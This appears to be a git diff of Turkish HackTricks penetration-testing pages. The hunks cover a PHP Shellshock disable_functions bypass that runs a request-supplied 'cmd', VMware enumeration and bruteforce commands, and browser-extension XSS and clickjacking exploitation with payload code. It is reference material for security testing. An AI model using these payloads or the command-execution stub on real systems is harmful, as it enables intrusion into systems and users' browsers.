GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# PHP 5.x Shellshock Exploit
# PHP 5.x Shellshock Saldırısı
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden alınmıştır.
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/) adresinden
```php
<?php
@ -40,16 +41,17 @@ else return "No output, or not vuln.";
echo shellshock($_REQUEST["cmd"]);
?>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# Python
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Python kullanarak sunucu
_mstr()_ fonksiyonunu kullanarak olası bir **kod yürütme**yi test edin:
_mümkün olan bir **kod yürütmesini** test edin, _str()_ fonksiyonunu kullanarak:_
```python
"+str(True)+" #If the string True is printed, then it is vulnerable
```
### Hileler
### Tricks
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -34,16 +35,17 @@ _mstr()_ fonksiyonunu kullanarak olası bir **kod yürütme**yi test edin:
[deserialization](../../pentesting-web/deserialization/)
{% endcontent-ref %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Symfony
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Aşağıdaki gönderilere göz atın:
@ -20,16 +21,17 @@ Aşağıdaki gönderilere göz atın:
* [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a göz atın!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,50 +1,50 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# Enumeration
# Sayım
```bash
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
msf> use auxiliary/scanner/vmware/esx_fingerprint
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
```
# Bruteforce
Bruteforce saldırıları, genellikle zayıf veya sızdırılmış şifreleri kırarak sistemlere erişmeyi amaçlar. Saldırganlar, oturum açma formlarına veya kimlik doğrulama mekanizmalarına otomatik olarak binlerce veya milyonlarca şifre deneyerek giriş yapmaya çalışırlar. Bu saldırı türü, güvenlik açıklarını tespit etmek ve kapatmak için kullanılabilir.
```bash
msf> auxiliary/scanner/vmware/vmware_http_login
```
Eğer geçerli kimlik bilgilerini bulursanız, daha fazla metasploit tarayıcı modülü kullanarak bilgi edinebilirsiniz.
Eğer geçerli kimlik bilgileri bulursanız, bilgi elde etmek için daha fazla metasploit tarayıcı modülü kullanabilirsiniz.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme konusunda öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] koleksiyonumuz (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# BrowExt - XSS Örneği
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Iframe Aracılığıyla Cross-Site Scripting (XSS)
## Iframe Üzerinden Cross-Site Scripting (XSS)
Bu yapılandırmada, bir **içerik betiği** Iframe'in örneklendirilmesi için kullanılır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL eklenir:
Bu yapılandırmada, bir **içerik betiği** bir Iframe oluşturmak için uygulanır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL kullanılır:
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
@ -25,7 +26,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
frame.src = constructedURL;
});
```
Halka açık bir HTML sayfası olan **`message.html`**, URL'deki parametrelere bağlı olarak belge gövdesine içerik eklemek için tasarlanmıştır:
Herkese açık bir HTML sayfası, **`message.html`**, URL'deki parametrelere dayalı olarak belge gövdesine dinamik olarak içerik eklemek için tasarlanmıştır:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
@ -37,7 +38,7 @@ chrome.tabs.create({ url: destinationURL });
});
});
```
Bir kötü niyetli betik, saldırganın sayfasında yürütülür ve Iframe'in kaynağının `content` parametresi değiştirilerek bir **XSS saldırı yükü** eklenir. Bunun için Iframe'in kaynağı zararlı bir betik içerecek şekilde güncellenir:
Kötü niyetli bir betik, bir düşmanın sayfasında çalıştırılır ve **XSS yükü** eklemek için Iframe'in kaynağının `content` parametresi değiştirilir. Bu, Iframe'in kaynağını zararlı bir betik içerecek şekilde güncelleyerek gerçekleştirilir:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
@ -48,24 +49,24 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
ırı izin verici bir İçerik Güvenlik Politikası örneği:
ırı izin veren bir İçerik Güvenlik Politikası, örneğin:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
JavaScript'in yürütülmesine izin vererek, sistem XSS saldırılarına karşı savunmasız hale gelir.
JavaScript'in çalıştırılmasına izin verir, bu da sistemi XSS saldırılarına karşı savunmasız hale getirir.
XSS'yi tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynak olarak zararlı betiği `content` parametresi olarak ayarlamaktır:
XSS'i provoke etmenin alternatif bir yaklaşımı, bir Iframe öğesi oluşturmak ve kaynağını `content` parametresi olarak zararlı scripti içerecek şekilde ayarlamaktır:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## DOM-tabanlı XSS + ClickJacking
## DOM tabanlı XSS + ClickJacking
Bu örnek, [orijinal yazıdan](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) alınmıştır.
Bu örnek [orijinal yazıdan](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) alınmıştır.
Temel sorun, **`/html/bookmarks.html`** konumunda bulunan bir DOM-tabanlı Cross-site Scripting (XSS) açığından kaynaklanmaktadır. Sorunlu JavaScript, **`bookmarks.js`**'nin bir parçası olarak aşağıda detaylandırılmıştır:
Temel sorun, **`/html/bookmarks.html`** dosyasında bulunan bir DOM tabanlı Cross-site Scripting (XSS) açığından kaynaklanmaktadır. Aşağıda detaylandırılan sorunlu JavaScript, **`bookmarks.js`** dosyasının bir parçasıdır:
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
@ -82,13 +83,13 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Bu kod parçacığı, **`txtName`** giriş alanından **değeri** alır ve HTML oluşturmak için **dize birleştirme** kullanır. Oluşturulan HTML daha sonra jQuery'nin `.append()` fonksiyonu kullanılarak DOM'a eklenir.
Bu kod parçası **`txtName`** giriş alanından **değeri** alır ve **HTML oluşturmak için dize birleştirmesi kullanır**, ardından bu HTML, jQuerynin `.append()` fonksiyonu kullanılarak DOM'a eklenir.
Genellikle, Chrome eklentisinin İçerik Güvenlik Politikası (CSP) bu tür güvenlik açıklarını engeller. Ancak, **'unsafe-eval' ile CSP gevşemesi** ve jQuery'nin DOM manipülasyon yöntemlerinin (DOM ekleme sırasında [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) fonksiyonuna betikleri iletmek için [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kullanması) kullanılması nedeniyle, sömürü hala mümkündür.
Genellikle, Chrome uzantısının İçerik Güvenlik Politikası (CSP) bu tür zafiyetleri önler. Ancak, **unsafe-eval ile CSP gevşetmesi** ve jQuerynin DOM manipülasyon yöntemlerinin kullanımı (bu yöntemler, DOM eklenmesi sırasında scriptleri [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) ile geçmek için [`globalEval()`](https://api.jquery.com/jquery.globaleval/) kullanır) nedeniyle, istismar hala mümkündür.
Bu güvenlik açığı önemli olsa da, genellikle kullanıcı etkileşimine bağlı olarak sömürülür: sayfayı ziyaret etmek, bir XSS yüklemesi girmek ve "Ekle" düğmesini etkinleştirmek.
Bu zafiyet önemli olsa da, istismarı genellikle kullanıcı etkileşimine bağlıdır: sayfayı ziyaret etmek, bir XSS yükü girmek ve “Ekle” butonunu etkinleştirmek.
Bu güvenlik açığını artırmak için ikincil bir **clickjacking** güvenlik açığı sömürülür. Chrome eklentisinin manifest dosyası geniş bir `web_accessible_resources` politikasını sergiler:
Bu zafiyeti artırmak için, ikincil bir **clickjacking** zafiyeti istismar edilir. Chrome uzantısının manifesti, kapsamlı bir `web_accessible_resources` politikasını sergilemektedir:
```json
"web_accessible_resources": [
"html/bookmarks.html",
@ -98,23 +99,24 @@ Bu güvenlik açığını artırmak için ikincil bir **clickjacking** güvenlik
[...]
],
```
Özellikle **`/html/bookmarks.html`** sayfası çerçevelenmeye müsait olduğundan dolayı **clickjacking** saldırısına karşı savunmasızdır. Bu zafiyet, saldırganın sitesi içinde sayfayı çerçevelemek suretiyle, arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleriyle örtüşmesini sağlar. Bu manipülasyon, kurbanların istemeden altta yatan uzantıyla etkileşimde bulunmasına yol açar.
